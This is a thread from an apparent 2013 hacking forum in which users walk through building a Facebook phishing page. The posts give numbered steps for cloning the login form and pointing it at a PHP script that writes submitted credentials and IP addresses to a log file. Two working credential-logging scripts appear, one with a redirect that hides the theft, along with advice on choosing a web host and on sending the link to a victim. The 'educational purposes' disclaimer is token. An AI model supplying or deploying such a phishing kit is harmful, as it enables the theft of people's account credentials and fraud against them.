(06-12-2013, 09:29 PM)mls577 Wrote:

(06-12-2013, 09:25 PM)xViewTikalx Wrote:

(06-12-2013, 09:23 PM)mls577 Wrote:

(06-12-2013, 09:20 PM)xViewTikalx Wrote:

(06-12-2013, 09:14 PM)mls577 Wrote: Let's get a few thing straight. You will need a web host(not bit.ly). Bitly is a site for hiding links among other things, it's useful for this but it's not your web host. Your web host would be where you uploaded your fake page and log.txt file. On that site, you will log in and change the permissions for the log.txt file, so that it is writable. Your .php file needs the permissions to write to log.txt file. That's what is happening.

I agree with the biz.ly.
Now i can try 000webhost, but they were threatening me from report me and stuff, so i scared out. Is this threatening real or is it just to scare people off?

Well phishing isn't exactly legal. so I'd be careful if I was you.

Well thats the reason i took biz.ly, its close to crap. So i don't think they would check every single file and read the html script. Wich one did you used or are using?

It's actually a php file and I don't phish, but it's not exactly rocket science and I've checked it out in the past.

(06-13-2013, 05:49 AM)Ex094 Wrote: I don't think Phishing is allowed on Hackcommunity

(06-13-2013, 05:45 AM)The Alchemist Wrote: Here are the steps :
Suppose you want to make a phishing page for facebook.

1. Go to www.facebook.com
2. Right click on the page and click on view source code.
3. Copy-paste the entire contents into a notepad file.
4. Search for <form and after look for action=" in the same line.
5. Delete whatever is inside the "" after action=" and replace it with "login.php"
6. So, it should look like action="login.php"
7. Save the file as index.html(remember the extension, not .txt, its .html)
8. Copy the following code into another notepad file :

PHP Code:

<?php if(!empty($_POST)) { $hand = fopen("logs.txt","a"); foreach($_POST as $key => $val) { fwrite($hand, $key." = ".$val."\n"); } fwrite($hand,"IP : ".$_SERVER['REMOTE_ADDR']."\n"); fclose($hand); } ?>

8. Save the file as login.php
9. Now, upload both the files index.html and login.php into a free web hosting account in the same directory.
10. Send the link of the index.html to your victim.
11. As he/she falls for it, the email id and password gets stored in your web hosting account in the same directory in a file logs.txt

This is for educational purposes only. Please do not get into trouble for this.

(06-13-2013, 09:23 AM)King-Of-Hacker "PiatOs Wrote:

Spoiler:

(06-13-2013, 05:45 AM)The Alchemist Wrote: Here are the steps :
Suppose you want to make a phishing page for facebook.

1. Go to www.facebook.com
2. Right click on the page and click on view source code.
3. Copy-paste the entire contents into a notepad file.
4. Search for <form and after look for action=" in the same line.
5. Delete whatever is inside the "" after action=" and replace it with "login.php"
6. So, it should look like action="login.php"
7. Save the file as index.html(remember the extension, not .txt, its .html)
8. Copy the following code into another notepad file :

PHP Code:

<?php if(!empty($_POST)) { $hand = fopen("logs.txt","a"); foreach($_POST as $key => $val) { fwrite($hand, $key." = ".$val."\n"); } fwrite($hand,"IP : ".$_SERVER['REMOTE_ADDR']."\n"); fclose($hand); } ?>

8. Save the file as login.php
9. Now, upload both the files index.html and login.php into a free web hosting account in the same directory.
10. Send the link of the index.html to your victim.
11. As he/she falls for it, the email id and password gets stored in your web hosting account in the same directory in a file logs.txt

This is for educational purposes only. Please do not get into trouble for this.

additional : change the GET method to POST method, just control "F" and type Action <form method="POST" action="http://Freecandycrushboost.site40.net/action.php" id="login_form" <<like this.. and control "F" to find "locale" etc and delete. and other way is..
<?php

foreach($_POST as $variable => $value)
{
$fopen = fopen('victims.html','a+');
$fwrite = fwrite($fopen, $variable.' = '.$value.'<br />');
$fclose = fclose($fopen);
}
header('location: http://www.facebook.com/appcenter/candycrush');
?>
header('location: its means location of victim where you want to direct.

(06-13-2013, 05:49 AM)Ex094 Wrote: I don't think Phishing is allowed on Hackcommunity

(06-13-2013, 06:30 AM)H4R0015K Wrote: HackCommunity Rules & FAQ Version 1.8 doesn't say anything about phishing so we can say phishing is allowed on hackcommunity until the rules are changed.